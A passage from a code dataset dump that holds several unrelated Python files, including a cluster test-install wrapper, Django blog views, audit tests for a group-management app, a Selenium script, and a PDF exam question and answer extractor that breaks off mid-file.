log.error(\"Cluster KNL-LB Tool:: %s\", cmd_exception)\n\n untar_cmd = \"cd {1} && tar -xvf {0}\".format(\n self._package_test,\n self.download_path)\n\n log.info(\"Cluster KNL-LB Tool:: Untar test content\")\n try:\n out, _ = execute_cmd(untar_cmd, timeout=self.default_timeout)\n except RuntimeError as cmd_exception:\n log.error(\"Cluster KNL-LB Tool::Failed extracting the test content file\")\n log.error(\"Cluster KNL-LB Tool:: %s\", cmd_exception)\n\n # We install every package marked as test content in the list\n # 'test_content'\n for test_package in TEST_CONTENT:\n install_cmd = \"sudo rpm -ivh --root {2} --force \" \\\n \"--nodeps {3}/mpss-test-{1}/packages/x86_64/{0}*.rpm\".format(\n test_package,\n self._product,\n self.install_path,\n self.download_path)\n\n log.info(\"Cluster KNL-LB Tool::Installing test \"\n \"content with %s\", install_cmd)\n try:\n out, _ = execute_cmd(install_cmd)\n log.info(\"Cluster KNL-LB Tool:: %s\", out)\n except RuntimeError as cmd_exception:\n log.error(\"Cluster KNL-LB Tool::Failed installing the test \"\n \"content\")\n log.error(\"Cluster KNL-LB Tool:: %s\", cmd_exception)\n\n # Set the test command\n self.readtest_command()\n\n # Finally, for the NetPIPE testing, we need create the\n # directory that will be shared among nodes in the cluster\n mkdir_cmd = \"mkdir -p {0}\".format(self.netpipe_dir)\n\n try:\n execute_cmd(mkdir_cmd)\n except RuntimeError as cmd_exception:\n log.error(\"Cluster KNL-LB Tool::Failed to create NetPIPE directory\")\n log.error(\"Cluster KNL-LB Tool:: %s\", cmd_exception)\n\n def prepare_initial_results(self):\n log.info(\"Cluster KNL-LB Tool::Initial results\")\n for cmd in self.test_commands:\n list_cmd = (\"py.test {2}{0}{1} --collectonly | grep Function\"\n .format(self.test_path,\n cmd,\n self.install_path))\n\n # We need to quit the process if some failure happens\n try:\n out, _ = execute_cmd(list_cmd)\n for test_case in out.split('\\n'):\n test_case_modified = test_case.strip().replace(\n \"\",\n \"\")\n if test_case_modified != '':\n self._list_test_cases.append(test_case_modified)\n\n except RuntimeError as cmd_exception:\n log.error(\"Cluster KNL-LB Tool::Failed to read tests cases to be\"\n \" executed\")\n log.error(\"Cluster KNL-LB Tool:: %s\", cmd_exception)\n\n # Now we have the list of test cases to be executed, we assign the\n # initial results\n log.info(\"Cluster KNL-LB Tool::Test list: %s\", self._list_test_cases)\n reslog.generate_initial_results(os.getcwd(), self._list_test_cases)\n\n def run_testing(self):\n log.info(\"Cluster KNL-LB Tool::Running tests\")\n base_path = '/tmp/'\n results_file = 'results_%s.xml'\n for cmd in self.test_commands:\n random_str = ''.join([random.choice(string.ascii_letters +\n string.digits) for _ in\n range(7)])\n run_test_cmd = \"py.test {4}{0}{1} -s -v --junitxml={3}{2}\".format(\n self.test_path,\n cmd,\n results_file % random_str,\n base_path,\n self.install_path)\n\n try:\n log.info(\"Cluster KNL-LB Tool::Running tests\")\n output, _ = execute_cmd(run_test_cmd)\n log.info(\"Cluster KNL-LB Tool::Getting output: %s\", output)\n except RuntimeError as cmd_exception:\n log.info(\"Cluster KNL-LB Tool::Failed to execute test \"\n \"command: %s\", cmd_exception)\n except AssertionError as assertion_failure:\n log.info(\"Cluster KNL-LB Tool::Failed to execute test \"\n \"command: %s\", assertion_failure)\n\n # We parse the results\n self.parse_results()\n\n # Results file cleanup\n self.cleanup()\n\n\nif __name__ == \"__main__\":\n wrapper.run(ClusterKnllbTool)\n","sub_path":"berta/berta/wrappers/cluster_knllb_tool.py","file_name":"cluster_knllb_tool.py","file_ext":"py","file_size_in_byte":15958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"32058380","text":"from django.shortcuts import render,get_object_or_404\nfrom django.http import HttpResponse\nfrom .models import Post,Comment\nfrom django.core.paginator import Paginator,EmptyPage,PageNotAnInteger\n\nfrom django.views.generic import ListView\n\nfrom .forms import EmailPostForm,CommentForm,SearchForm\n\nfrom django.core.mail import send_mail\n\nfrom taggit.models import Tag\n\nfrom django.db.models import Count\n\nfrom django.contrib.postgres.search import SearchVector,SearchQuery,SearchRank,TrigramSimilarity\n# Create your views here.\n\ndef index(request):\n\n # return HttpResponse('首页通知书')\n\n return render(request,'motangtest/index.html')\n\n\n# class PostListView(ListView):\n# queryset = Post.published.all()\n# context_object_name = 'posts'\n# paginate_by = 2\n# template_name = 'blog/post/list.html'\n\ndef post_list(request,tag_slug=None):\n object_list = Post.published.all()\n\n tag = None\n\n if tag_slug:\n tag = get_object_or_404(Tag, slug=tag_slug)\n object_list = object_list.filter(tags__in=[tag])\n\n\n paginator = Paginator(object_list,2)\n page = request.GET.get('page')\n try:\n posts = paginator.page(page)\n except PageNotAnInteger:\n posts = paginator.page(1)\n except EmptyPage:\n posts = paginator.page(paginator.num_pages)\n\n return render(request,'blog/post/list.html',{'posts':posts,'tag': tag}) # 可以不用加page\n\n# def post_detail(request,year,month,day,post):\n# post = get_object_or_404(Post,slug=post,status='published',publish__year = year,publish__month=month,publish__day = day)\n# # 获得数据或者404\n\n# return render(request,'blog/post/detail.html',{'post':post})\n\ndef post_detail(request, year, month, day, post):\n post = get_object_or_404(Post, slug=post, status=\"published\", publish__year=year, publish__month=month, publish__day=day)\n \n comments = post.comments.filter(active=True)\n\n post_tags_ids = post.tags.values_list('id',flat=True)\n similar_tags = Post.published.filter(tags__in=post_tags_ids).exclude(id=post.id)\n similar_posts = similar_tags.annotate(same_tags=Count('tags')).order_by('-same_tags','-publish')[:4]\n\n new_comment = None\n\n if request.method == \"POST\":\n comment_form = CommentForm(data=request.POST)\n if comment_form.is_valid():\n \n new_comment = comment_form.save(commit=False)\n \n new_comment.post = post\n \n new_comment.save()\n else:\n comment_form = CommentForm()\n return render(request, 'blog/post/detail.html',{'post': post, 'comments': comments, 'new_comment': new_comment, 'comment_form': comment_form,'similar_posts': similar_posts})\n\ndef post_share(request,post_id):\n\n post = get_object_or_404(Post,id=post_id,status='published')\n sent = False\n\n if request.method == 'POST':\n\n form = EmailPostForm(request.POST)\n\n if form.is_valid():\n\n cd = form.cleaned_data\n post_url = request.build_absolute_uri(post.get_absolute_url())\n subject = '{} ({}) recommends you reading \"{}\"'.format(cd['name'], cd['email'], post.title)\n message = 'Read \"{}\" at {}\\n\\n{}\\'s comments:{}'.format(post.title, post_url, cd['name'], cd['comments'])\n send_mail(subject,message, '1580120495@qq.com ', [cd['to']],fail_silently=False)# 自己邮箱(form表单发来的邮件还不用后端固定的?) 自己的STMP服务器 to是发送的邮箱\n sent = True\n \n else:\n form = EmailPostForm()\n\n return render(request,'blog/post/share.html',{'post':post,'form':form,'sent': sent})\n\n\n\ndef post_search(request):\n form = SearchForm()\n query = None\n results = []\n if 'query' in request.GET:\n form = SearchForm(request.GET)\n if form.is_valid():\n query = form.cleaned_data['query']\n # results = Post.objects.annotate(search=SearchVector('title', 'slug', 'body'), ).filter(search=query) # 使用搜索\n # 数据库应该不止postgres指出全局搜索吧(??)\n \n # search_vector = SearchVector('title', 'body')\n #可以对在标题中搜索到的结果给予比正文中搜索到的结果更大的权重\n search_vector = SearchVector('title', weight='A') + SearchVector('body', weight='B')\n search_query = SearchQuery(query)\n results = Post.objects.annotate(search=search_vector,rank=SearchRank(search_vector, search_query)).filter(search=search_query).order_by('-rank')\n \n #results = Post.objects.annotate(similarity=TrigramSimilarity('title',query),).filter(similarity__gte=0.1).order_by('-similarity')\n\n return render(request, 'blog/post/search.html', {'query': query, \"form\": form, 'results': results})","sub_path":"myblog/motangsTest/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"450839386","text":"from collections import namedtuple\nfrom datetime import datetime, timedelta\nfrom urllib import urlencode\nfrom grouper.constants import AUDIT_MANAGER, AUDIT_VIEWER\n\nimport pytest\nfrom tornado.httpclient import HTTPError\n\nfrom fixtures import standard_graph, graph, users, groups, service_accounts, session, permissions # noqa\nfrom fixtures import fe_app as app # noqa\nfrom grouper.audit import (\n assert_can_join, assert_controllers_are_auditors, get_audits, user_is_auditor,\n UserNotAuditor,\n)\nfrom url_util import url\nfrom util import add_member, grant_permission\nfrom grouper.models.audit_log import AuditLogCategory, AuditLog\n\n\ndef test_group_audited(standard_graph, session, groups, permissions): # noqa\n \"\"\" Ensure that the audited flag gets set appropriate only groups and inherited down the\n graph. \"\"\"\n\n graph = standard_graph # noqa\n\n assert not graph.get_group_details(\"security-team\")[\"audited\"]\n assert graph.get_group_details(\"serving-team\")[\"audited\"]\n assert graph.get_group_details(\"team-sre\")[\"audited\"]\n\n\ndef test_user_is_auditor(standard_graph): # noqa\n \"\"\" Ensure users get the ability to audit. \"\"\"\n\n assert user_is_auditor(\"zorkian@a.co\")\n assert not user_is_auditor(\"oliver@a.co\")\n\n\ndef test_assert_can_join(users, groups): # noqa\n \"\"\" Test various audit constraints to ensure that users can/can't join as appropriate. \"\"\"\n\n # Non-auditor can join non-audited group as owner.\n assert assert_can_join(groups[\"team-infra\"], users[\"zay@a.co\"], role=\"owner\")\n\n # Auditor can join non-audited group as owner.\n assert assert_can_join(groups[\"team-infra\"], users[\"zorkian@a.co\"], role=\"owner\")\n\n # Non-auditor can NOT join audited group as owner.\n with pytest.raises(UserNotAuditor):\n assert not assert_can_join(groups[\"serving-team\"], users[\"zay@a.co\"], role=\"owner\")\n\n # Non-auditor can join audited group as member.\n assert assert_can_join(groups[\"serving-team\"], users[\"zay@a.co\"])\n\n # Group with non-auditor owner can NOT join audited group.\n with pytest.raises(UserNotAuditor):\n assert not assert_can_join(groups[\"serving-team\"], groups[\"tech-ops\"])\n\n # Group with auditor owner can join audited group.\n assert assert_can_join(groups[\"serving-team\"], groups[\"sad-team\"])\n\n # Group with non-auditor owner can join non-audited group.\n assert assert_can_join(groups[\"team-infra\"], groups[\"tech-ops\"])\n\n # Group with auditor owner, but sub-group with non-auditor owner, can NOT join audited group.\n with pytest.raises(UserNotAuditor):\n assert not assert_can_join(groups[\"audited-team\"], groups[\"serving-team\"])\n\n\ndef test_assert_controllers_are_auditors(groups): # noqa\n \"\"\" Test the method that determines if a subtree is controlled by auditors. \"\"\"\n\n # Group is safely controlled by auditors.\n assert assert_controllers_are_auditors(groups[\"sad-team\"])\n\n # Group with non-auditor owner should fail this test.\n with pytest.raises(UserNotAuditor):\n assert not assert_controllers_are_auditors(groups[\"team-infra\"])\n\n\n@pytest.mark.gen_test\ndef test_toggle_perm_audited(groups, permissions, http_client, base_url):\n perm_name = 'audited' # perm that is already audited\n nonpriv_user_name = 'oliver@a.co' # user with no audit perms and without PERMISSION_ADMIN\n nonpriv_user_team = 'sad-team'\n nonpriv_headers = {'X-Grouper-User': nonpriv_user_name}\n priv_user_name = 'zorkian@a.co' # user with AUDIT_MANAGER\n priv_headers = {'X-Grouper-User': priv_user_name}\n enable_url = url(base_url, '/permissions/{}/enable-auditing'.format(perm_name))\n disable_url = url(base_url, '/permissions/{}/disable-auditing'.format(perm_name))\n\n # Give nonpriv user audit view permissions, which shouldn't allow enabling/disabling auditing\n grant_permission(groups[nonpriv_user_team], permissions[AUDIT_VIEWER], argument=\"\")\n\n # attempt to enable/disable auditing; both should fail due to lack of perms\n with pytest.raises(HTTPError):\n resp = yield http_client.fetch(enable_url, method=\"POST\", headers=nonpriv_headers, body=\"\")\n with pytest.raises(HTTPError):\n resp = yield http_client.fetch(disable_url, method=\"POST\", headers=nonpriv_headers, body=\"\")\n\n # Now confirm that enabling/disabling auditing works as a privileged user\n # Note that enabling audits on an audited perm succeeds (same for disabling)\n resp = yield http_client.fetch(enable_url, method=\"POST\", headers=priv_headers, body=\"\")\n assert resp.code == 200\n # Perm is still audited\n resp = yield http_client.fetch(disable_url, method=\"POST\", headers=priv_headers, body=\"\")\n assert resp.code == 200\n # Perm no longer audited\n resp = yield http_client.fetch(disable_url, method=\"POST\", headers=priv_headers, body=\"\")\n assert resp.code == 200\n # Perm still not audited\n resp = yield http_client.fetch(enable_url, method=\"POST\", headers=priv_headers, body=\"\")\n assert resp.code == 200\n # Perm audited again\n \n\n@pytest.mark.gen_test\ndef test_audit_end_to_end(session, users, groups, http_client, base_url, graph): # noqa\n \"\"\" Tests an end-to-end audit cycle. \"\"\"\n groupname = 'audited-team'\n\n zay_id = users[\"zay@a.co\"].id\n gary_id = users[\"gary@a.co\"].id\n\n # make everyone an auditor or global audit will have issues\n add_member(groups[\"auditors\"], users[\"gary@a.co\"])\n add_member(groups[\"auditors\"], users[\"oliver@a.co\"])\n add_member(groups[\"auditors\"], users[\"zay@a.co\"])\n add_member(groups[\"auditors\"], users[\"figurehead@a.co\"])\n\n # add some users to test removal\n add_member(groups[groupname], users[\"zay@a.co\"])\n add_member(groups[groupname], users[\"gary@a.co\"])\n\n graph.update_from_db(session)\n\n # start the audit\n end_at_str = (datetime.now() + timedelta(days=10)).strftime('%m/%d/%Y')\n fe_url = url(base_url, '/audits/create')\n resp = yield http_client.fetch(fe_url, method=\"POST\",\n body=urlencode({'ends_at': end_at_str}), headers={'X-Grouper-User': 'zorkian@a.co'})\n assert resp.code == 200\n\n open_audits = get_audits(session, only_open=True).all()\n assert len(open_audits) == 4, 'audits created'\n\n assert groupname in [x.group.name for x in open_audits], 'group we expect also gets audit'\n\n # pull all the info we need to resolve audits, avoids detached sqlalchemy sessions\n AuditMember = namedtuple('AuditMember', 'am_id, edge_type, edge_id')\n Audit = namedtuple('Audit', 'audit_id, owner_name, group_name, audit_members')\n all_group_ids = [x.group.id for x in open_audits]\n open_audits = [Audit(x.id, x.group.my_owners().iterkeys().next(), x.group.name,\n [AuditMember(am.id, am.edge.member_type, am.edge_id) for am in x.my_members()]) for\n x in open_audits]\n\n # approve everything but the one we added members to\n for one_audit in open_audits:\n fe_url = url(base_url, '/audits/{}/complete'.format(one_audit.audit_id))\n\n if one_audit.group_name == groupname:\n continue\n\n # blanket approval\n body = urlencode({\"audit_{}\".format(am.am_id): \"approved\" for am in\n one_audit.audit_members})\n\n resp = yield http_client.fetch(fe_url, method=\"POST\", body=body,\n headers={'X-Grouper-User': one_audit.owner_name})\n assert resp.code == 200\n\n open_audits = get_audits(session, only_open=True).all()\n assert len(open_audits) == 1, 'only our test group remaining'\n\n one_audit = open_audits[0]\n one_audit.id\n\n body_dict = {}\n for am in one_audit.my_members():\n if gary_id == am.member.id:\n # deny\n body_dict[\"audit_{}\".format(am.id)] = \"remove\"\n else:\n # approve\n body_dict[\"audit_{}\".format(am.id)] = \"approved\"\n\n owner_name = one_audit.group.my_owners().iterkeys().next()\n fe_url = url(base_url, '/audits/{}/complete'.format(one_audit.id))\n resp = yield http_client.fetch(fe_url, method=\"POST\", body=urlencode(body_dict),\n headers={'X-Grouper-User': owner_name})\n assert resp.code == 200\n\n # check all the logs\n assert len(AuditLog.get_entries(session, action='start_audit')) == 1, 'global start is logged'\n assert len(AuditLog.get_entries(session,\n action='complete_global_audit')) == 1, 'global complete is logged'\n\n for group_id in all_group_ids:\n assert len(AuditLog.get_entries(session, on_group_id=group_id, action='complete_audit',\n category=AuditLogCategory.audit)) == 1, 'complete entry for each group'\n\n assert len(AuditLog.get_entries(session, on_user_id=gary_id,\n category=AuditLogCategory.audit)) == 1, 'removal AuditLog entry on user'\n","sub_path":"tests/test_audit.py","file_name":"test_audit.py","file_ext":"py","file_size_in_byte":8699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"108543329","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\n\nchrome_driver_path = \"F:\\Download\\Drivers\\chromedriver\"\ndriver = webdriver.Chrome(chrome_driver_path)\ndriver.get(\"https://en.wikipedia.org/wiki/Main_Page\")\n\narticle_count = driver.find_element_by_css_selector(\"#articlecount a\")\n# article_count.click()\n\nall_portal = driver.find_element_by_link_text(\"All portals\")\n# all_portal.click()\n\nsearch = driver.find_element_by_name(\"search\")\nsearch.send_keys(\"Python\")\nsearch.send_keys(Keys.ENTER)\n\ndriver.quit()\n","sub_path":"Day_48/Chalange_2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"330135354","text":"##\n## Imprima la cantidad de registros por letra para la \n## primera columna, ordenados alfabeticamente.\n##\n## A,8\n## B,7\n## C,5\n## D,6\n## E,14\n##\nimport csv\nimport collections\nx = open('data.csv','r').readlines()\ny=[z[0] for z in sorted(x[0:])]\nfrecuencia = collections.Counter(y)\nfor key,value in frecuencia.items():\n print (key,value,sep=\",\")\n\n\n\n\n","sub_path":"q02.py","file_name":"q02.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"527320908","text":"\"\"\"Compare an image to a template and return position of template within image.\r\n\r\nImported modules\r\n----------------\r\n PIL.Image -Opens and handles images\r\n subprocess.Popen -Executes commands on command prompt\r\n time.sleep -Stops execution of code for given time period\r\n\r\nIncluded funtions\r\n-----------------\r\n find_questions -Find and output the locations of each question in order\r\n find_answers -Find and save the answers to each question from a given answers PDF\r\n init_template_answers -Load templates into a dictionary\r\n seperate_questions -Seperate and save each individual question\r\n pdf_to_image -Convert a specified amount of pages from a pdf to an image and save them in specified location\r\n image_to_array -Convert an image to an array and return it\r\n find_line -Return position of 400 by 3 line within file\r\n find_whitespace -Return amount of whitespace in first line of array before first black pixel\r\n init_template_questions -Load templates into dictionary of arrays\r\n compare_array -Return position of one array within another\r\n\r\n\"\"\"\r\n\r\nimport os\r\nfrom subprocess import Popen\r\nfrom PIL import Image\r\nfrom time import sleep\r\n\r\n\r\ndef find_questions(pdf_path, save_path, progress_file):\r\n \"\"\"Find the y coordinate and the page number of the questions in a PDF document.\r\n\r\n Parameters\r\n ----------\r\n pdf_path -Directory of PDF\r\n save_path -Directory to save images permanently\r\n progress_file -File to write progress to\r\n\r\n Variables\r\n ----------\r\n number_templates -Dictionary of arrays for each number template from 1-20\r\n num_positions -Arrays of number positions in form array[question][[x coordinate, y coordinate], page number]\r\n y_start -Where to start search in page from\r\n page_array -Array of search page\r\n template_array -Template being searched for\r\n found_spots -Array returned by compare_array function\r\n\r\n Counter variables\r\n -----------------\r\n page_num -Page being searched\r\n question_num -Question being searched for\r\n\r\n \"\"\"\r\n \"\"\"Create blank array for num_positions\"\"\"\r\n num_positions = []\r\n\r\n \"\"\"Convert pages specified to images in specified folder.\"\"\"\r\n pdf_to_image(pdf_path, save_path, 2, 12)\r\n\r\n \"\"\"Load number templates for questions.\"\"\"\r\n number_templates = init_template_questions()\r\n\r\n \"\"\"Question one is done seperately as it is a special case.\"\"\"\r\n\r\n \"\"\"Load page 1 into an array.\"\"\"\r\n page_array = image_to_array(save_path.replace(\".png\", \"_1.png\"), 255)\r\n\r\n \"\"\"Add position of question 1 to array of positions.\"\"\"\r\n num_positions.append([compare_array(page_array, number_templates[1], find_line(page_array), 80, searching_questions=True), 1])\r\n with open(progress_file, 'w') as f:\r\n f.write(\"Question 1 found.\")\r\n print(\"Question 1 found.\")\r\n \"\"\"\r\n Set start position of the next search to the position of the first questionself.\r\n Set the question number to be searched for to 2.\r\n Set the page number to be searched to 1.\r\n \"\"\"\r\n y_start = num_positions[0][0][0][1]\r\n question_num = 2\r\n page_num = 1\r\n\r\n \"\"\"Begin iterating in a pre-test loop, that stops when there are no more pages to search.\"\"\"\r\n while page_num <= 11 and question_num <= 20:\r\n \"\"\"\r\n Load page to be searched into an array.\r\n Load template to search for into an array.\r\n \"\"\"\r\n page_array = image_to_array(save_path.replace(\".png\", \"_\"+str(page_num)+\".png\"), 255)\r\n template_array = number_templates[question_num]\r\n\r\n \"\"\"Search for the template array in the page array, and return an array of spots where it was found\"\"\"\r\n found_spots = compare_array(page_array, template_array, y_start, 80)\r\n\r\n \"\"\"If only 1 of the template was found in the page, add it's position to an array of the found questions.\"\"\"\r\n if len(found_spots) == 1:\r\n num_positions.append([found_spots, page_num])\r\n with open(progress_file, 'w') as f:\r\n f.write(\"Question \"+str(question_num)+\" found.\")\r\n print(\"Question \"+str(question_num)+\" found.\")\r\n \"\"\"\r\n Set current question to the next question.\r\n Set start of next search to position of previously found question.\r\n Continue to next iteration of loop\r\n \"\"\"\r\n question_num += 1\r\n y_start = num_positions[question_num-2][0][0][1]\r\n continue\r\n\r\n \"\"\"Else if no templates are found in page, begin searching next page from the top.\"\"\"\r\n elif len(found_spots) == 0:\r\n page_num += 1\r\n y_start = 0\r\n continue\r\n\r\n \"\"\"Else if more than 1 templates are found in page, break loop.\r\n # TODO: Remove need for this.\r\n \"\"\"\r\n else:\r\n break\r\n \"\"\"Return positions and page number of questions.\"\"\"\r\n return num_positions\r\n\r\n\r\ndef find_answers(ans_path, save_path, question_amount, temp_path, progress_file):\r\n \"\"\"Find and write answers for questions to a text file.\r\n\r\n Parameters\r\n ----------\r\n ans_path -Path to answers PDF\r\n save_path -Folder to save to permanently\r\n question_amount -Amount of questions to find answers to\r\n temp_path -Path to save temporary files\r\n progress_file -Path to file to output progress to\r\n\r\n Variables\r\n ---------\r\n answer_page_array -Array of answers page\r\n templates_answers -Dictionary containing templates for answers\r\n template_array -Array of template\r\n curr_question_position -Results of comparing template to page\r\n answer_below -Answer for current question is below this point\r\n answers -Array of question numbers with answers\r\n\r\n Counter/temporary variables\r\n ---------------------------\r\n question_number -Current quetion number\r\n f -Temporary file variable\r\n\r\n \"\"\"\r\n \"\"\"Convert answer page to image.\"\"\"\r\n pdf_to_image(ans_path, temp_path, 1, 1)\r\n\r\n \"\"\"Load answer page image into array.\"\"\"\r\n answers_page_array = image_to_array(temp_path.replace(\".png\", \"_1.png\"), 255)\r\n\r\n \"\"\"Load template of answer page numbers and characters.\"\"\"\r\n templates_answers = init_template_answers()\r\n\r\n \"\"\"Create blank array for answers.\"\"\"\r\n answers = []\r\n\r\n \"\"\"Counted loop that executes once for each question.\"\"\"\r\n for question_number in range(1, question_amount+1):\r\n \"\"\"\r\n Load template of current question number.\r\n Find template in array of answers and set curr_question_position to its position.\r\n Set the position to search from to the positin of the found number.\r\n \"\"\"\r\n template_array = templates_answers[question_number]\r\n curr_question_position = compare_array(answers_page_array, template_array, 0, len(answers_page_array[0]), searching_for=1)\r\n\r\n answer_below = curr_question_position[0][1]\r\n\r\n \"\"\"If a certain letter is the first one to be found after that position, add the letter and the question number to the answers array.\"\"\"\r\n if len(compare_array(answers_page_array, templates_answers[\"A\"], answer_below-1, len(answers_page_array[0]), searching_for=1, y_end=answer_below+5)):\r\n answers.append([question_number, \"A\"])\r\n elif len(compare_array(answers_page_array, templates_answers[\"B\"], answer_below-1, len(answers_page_array[0]), searching_for=1, y_end=answer_below+5)):\r\n answers.append([question_number, \"B\"])\r\n elif len(compare_array(answers_page_array, templates_answers[\"C\"], answer_below-1, len(answers_page_array[0]), searching_for=1, y_end=answer_below+5)):\r\n answers.append([question_number, \"C\"])\r\n else:\r\n answers.append([question_number, \"D\"])\r\n\r\n \"\"\"Write current progress to an external file.\"\"\"\r\n with open(progress_file, 'w') as f:\r\n f.write(\"Answer \"+str(question_number)+\" found.\")\r\n print(\"Answer \"+str(question_number)+\" found.\")\r\n\r\n \"\"\"Create text file named answers containing answer data.\"\"\"\r\n with open(save_path.replace(\".png\", \".txt\"), 'w') as f:\r\n for answer in answers:\r\n f.write(str(answer[0])+\" \"+str(answer[1])+\"\\n\")\r\n\r\n \"\"\"Write current progress to an external file.\"\"\"\r\n with open(progress_file, 'w') as f:\r\n f.write(\"Answers saved.\")\r\n print(\"Answers saved.\")\r\n\r\n\r\ndef init_template_answers():\r\n \"\"\"Load templates for answer page into dictionary.\r\n\r\n Convert each template to array using image_to_array and store in dictionary.\r\n \"\"\"\r\n templates_answers = {\r\n \"A\": image_to_array(r\"Answer Symbol Templates\\template_A.png\", 255, True),\r\n \"B\": image_to_array(r\"Answer Symbol Templates\\template_B.png\", 255, True),\r\n \"C\": image_to_array(r\"Answer Symbol Templates\\template_C.png\", 255, True),\r\n \"D\": image_to_array(r\"Answer Symbol Templates\\template_D.png\", 255, True),\r\n 1: image_to_array(\"Answer Symbol Templates\\\\template_1.png\", 255, True),\r\n 2: image_to_array(\"Answer Symbol Templates\\\\template_2.png\", 255, True),\r\n 3: image_to_array(\"Answer Symbol Templates\\\\template_3.png\", 255, True),\r\n 4: image_to_array(\"Answer Symbol Templates\\\\template_4.png\", 255, True),\r\n 5: image_to_array(\"Answer Symbol Templates\\\\template_5.png\", 255, True),\r\n 6: image_to_array(\"Answer Symbol Templates\\\\template_6.png\", 255, True),\r\n 7: image_to_array(\"Answer Symbol Templates\\\\template_7.png\", 255, True),\r\n 8: image_to_array(\"Answer Symbol Templates\\\\template_8.png\", 255, True),\r\n 9: image_to_array(\"Answer Symbol Templates\\\\template_9.png\", 255, True),\r\n 10: image_to_array(\"Answer Symbol Templates\\\\template_10.png\", 255, True),\r\n 11: image_to_array(\"Answer Symbol Templates\\\\template_11.png\", 255, True),\r\n 12: image_to_array(\"Answer Symbol Templates\\\\template_12.png\", 255, True),\r\n 13: image_to_array(\"Answer Symbol Templates\\\\template_13.png\", 255, True),\r\n 14: image_to_array(\"Answer Symbol Templates\\\\template_14.png\", 255, True),\r\n 15: image_to_array(\"Answer Symbol Templates\\\\template_15.png\", 255, True),\r\n 16: image_to_array(\"Answer Symbol Templates\\\\template_16.png\", 255, True),\r\n 17: image_to_array(\"Answer Symbol Templates\\\\template_17.png\", 255, True),\r\n 18: image_to_array(\"Answer Symbol Templates\\\\template_18.png\", 255, True),\r\n 19: image_to_array(\"Answer Symbol Templates\\\\template_19.png\", 255, True),\r\n 20: image_to_array(\"Answer Symbol Templates\\\\template_20.png\", 255, True)\r\n }\r\n return templates_answers\r\n\r\n\r\ndef seperate_questions(question_locations, save_dir, progress_file, temp_path):\r\n \"\"\"Crop and save images of find_questions.\r\n\r\n Parameters\r\n ----------\r\n question_locations -array of question locations and page numbers\r\n save_dir -Directory to permanently save files\r\n progress_file -File to write progress to\r\n temp_path -Directory to temporarily save files\r\n\r\n Variables\r\n ---------\r\n page_number -current page being cropped\r\n page_array -array of current page being cropped\r\n start -location of start of crop\r\n end -location of end of crop\r\n new_img -cropped image to be written\r\n black_line -flag to tell if pixel in line\r\n white_line -flag to tell if pixel in line\r\n png_path -Location to save images\r\n\r\n Counter variables\r\n -----------------\r\n question_number -current question number\r\n y -y coordinate of pixel to be written\r\n x -x coordinate of pixel to be written\r\n\r\n \"\"\"\r\n \"\"\"Set save path to internal folder.\"\"\"\r\n png_path = temp_path+\"\\\\page.png\"\r\n\r\n \"\"\"Counted for loop to iterate through questions\"\"\"\r\n for question_number in range(len(question_locations)):\r\n \"\"\"\r\n Set current page to the page that the question is in.\r\n Convert current page to array.\r\n \"\"\"\r\n page_number = question_locations[question_number][1]\r\n page_array = image_to_array(png_path.replace(\".png\", \"_\"+str(page_number)+\".png\"), 255)\r\n\r\n \"\"\"The next section handles the determining of the location of the question starts and ends.\"\"\"\r\n\r\n \"\"\"\r\n Create flag white_line for breaking loop.\r\n Set start location to location of first question number.\r\n \"\"\"\r\n white_line = False\r\n start = question_locations[question_number][0][0][1]\r\n \"\"\"Move start location up the page until a line filled with white pixels is found.\"\"\"\r\n while not white_line:\r\n if 0 not in page_array[start]:\r\n white_line = True\r\n else:\r\n start -= 1\r\n\r\n \"\"\"Create flag for line containing black pixel to break the loop\"\"\"\r\n black_line = False\r\n\r\n \"\"\"Try structure catches exception IndexError, in order to catch and prevent the expected error from occuring.\"\"\"\r\n try:\r\n \"\"\"If next question is on the same page as the current question.\"\"\"\r\n if question_locations[question_number+1][1] == question_locations[question_number][1]:\r\n \"\"\"Set end of crop to vertical position of next question number\"\"\"\r\n end = question_locations[question_number+1][0][0][1] - 20\r\n\r\n \"\"\"While current line being searched does not contain black pixel\"\"\"\r\n while not black_line:\r\n if 0 not in page_array[end]:\r\n \"\"\"If no black pixel in line, set end to line above\"\"\"\r\n end -= 1\r\n else:\r\n \"\"\"If black pixel in line, break loop\"\"\"\r\n black_line = True\r\n\r\n \"\"\"If next question is not on same page as current question.\"\"\"\r\n else:\r\n \"\"\"Set end to 60 pixels above end of page\"\"\"\r\n end = len(page_array) - 60\r\n\r\n \"\"\"While current line being searched does not contain black pixel\"\"\"\r\n while not black_line:\r\n if 0 not in page_array[end]:\r\n \"\"\"If no black pixel in line, set end to line above\"\"\"\r\n end -= 1\r\n else:\r\n \"\"\"If black pixel in line, break loop\"\"\"\r\n black_line = True\r\n\r\n \"\"\"This error is raised if it is seperating the last question.\"\"\"\r\n except IndexError:\r\n \"\"\"Set end to 60 pixels above the end of the page.\"\"\"\r\n end = len(page_array) - 60\r\n\r\n \"\"\"While current line being searched does not contain black pixel\"\"\"\r\n while not black_line:\r\n if 0 not in page_array[end]:\r\n \"\"\"If no black pixel in line, set end to line above\"\"\"\r\n end -= 1\r\n else:\r\n \"\"\"If black pixel in line, break loop\"\"\"\r\n black_line = True\r\n\r\n \"\"\"Create a new blank image object, the same size as the current question to be cropped.\"\"\"\r\n new_img = Image.new(\"1\", (len(page_array[0]), end-start+2))\r\n\r\n \"\"\"Iterate through page array, within the bounds of the question.\"\"\"\r\n for y in range(start, end+2):\r\n for x in range(len(page_array[1])):\r\n \"\"\"Write the current pixel of the page to the new image.\"\"\"\r\n new_img.putpixel((x, y-start), page_array[y][x])\r\n \"\"\"Save the new image.\"\"\"\r\n new_img.save(save_dir+\"\\\\question_\"+str(question_number+1)+\".png\")\r\n\r\n \"\"\"Write progress to the progress file.\"\"\"\r\n with open(progress_file, 'w') as f:\r\n f.write(\"Question \"+str(question_number)+\" saved.\")\r\n print(\"Question 